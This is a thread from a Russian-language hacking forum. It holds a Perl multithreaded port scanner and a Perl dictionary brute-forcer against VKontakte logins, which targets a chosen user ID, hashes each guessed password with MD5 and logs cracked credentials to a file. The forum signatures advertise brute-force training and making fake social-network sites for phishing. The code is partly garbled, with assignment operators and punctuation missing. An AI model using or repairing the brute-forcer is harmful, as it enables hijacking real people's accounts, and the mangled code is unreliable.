Форум   Статьи   Новости   Файлы   Bugtraq   Сниффер   Друзья   О Клубе
  , 21:48   #1
Banned
 
Локация: DE
Регистрация: 18.12.2010
Сообщений: 1,538

Репутация: 48 / 0
По умолчанию Многопоточный сканер портов

Многопоточный сканер портов


PHP highlight
#!/usr/bin/perl -w
#author Boolean 
#codingworld.ru

use IO::Socket;
use 
threads;
use 
threads::shared;

my @threads;
my $ports                65535;
my $threads                10;
my $last_port:shared    1;
my $ip                    '127.0.0.1';

for 
my $t (1..$threads) {
  
push @threadsthreads->create(&Scan$t);
}

foreach 
my $t (@threads) {
  
$t->join();
}

sub Scan{
    while(
1){
        
my $port $last_port++;
        if(
$port $ports){
            return; 
        }        
        print 
"Port $port is open\n" if IO::Socket::INET->new(PeerAddr=>"$ip:$port",Proto=>'tcp',Timeout=>1);                
    }    

__________________
Продажа Выделенных Серверов ( Дедиков )
Работаю под заказы ( Страна,Штат,Округ,Город )
Обучение brutu: Dedicated Server аnd Icq

Последний раз редактировалось Kontik; 30.01.2012 в 22:10.
Пользователь вне форума    
Наши Спонсоры
  , 16:59   #2
Местный
 
Аватар для stivens20
 
Регистрация: 13.12.2011
Сообщений: 312

Репутация: 2 / 0
По умолчанию

Сканер работает.Вот брут для вконтакте нужно да исправишь?

PHP highlight
!/usr/bin/perl

use IO::Socket;
use 
MD5;
use 
threads;
use 
threads::shared;
my @pass shared;

######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic 'passl.txt'#словарь паролей
$id 159790128#id цели
$mail 'mail%40mail.com'#мыло, вместо @ вписать %40
$threads 4#количество потоков
######################################

open (pass"<$dic");

Next:
@
pass pass();

for(
0..$threads) {$trl[$_] = threads->create(&Brut$_);}
for(@
trl) { $_->join; }

sub Brut
{

while (@
pass){

$pass shift @pass;

$md5 MD5->hexhash($pass);
$sock IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print 
$sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozillo\r\n".
"C*****: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
"Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print 
"$pass $answ";
if (
$answ =~ /302/){
open (good'>>good.txt');
print 
good "$id:$pass:$md5\n";
print 
"$id:$pass:$md5\n";
close good;
exit;}
}

}

goto Next;

sub pass
{
my (@mas);
while (<
pass>){
push @mas$_;
last if (@mas == 400);
}
chomp @mas;
return @
mas;

__________________
Создаю фейки сайтов и соц.сетей: https://hacker-pro.net/showthread.php?t=37054
Связь 625227978 и [email protected]
Пользователь вне форума    
 

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[FASM] Сканер портов ChernoHod Assembler 3 01.10.2012 14:00
Исходник сканер портов hugolom Delphi 0 02.09.2010 12:35
Сканер портов Lamer666 Софт для Windows 0 25.03.2010 19:34
Пишем сканер открытых портов своими руками. Kvatra Basic 1 08.01.2010 15:03
Утилита APS colabus. Софт для Windows 3 01.07.2009 03:30



Часовой пояс GMT +2
Powered by vBulletin® 3.x.x Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.

Copyright © 2008 - 2013 «HPC» Реклама на сайте Правила Форума Пользовательское соглашение Работа на сайте
При копировании материалов ставьте ссылку на источник
Все материалы представлены только в ознакомительных целях, администрация за их использование ответственности не несет.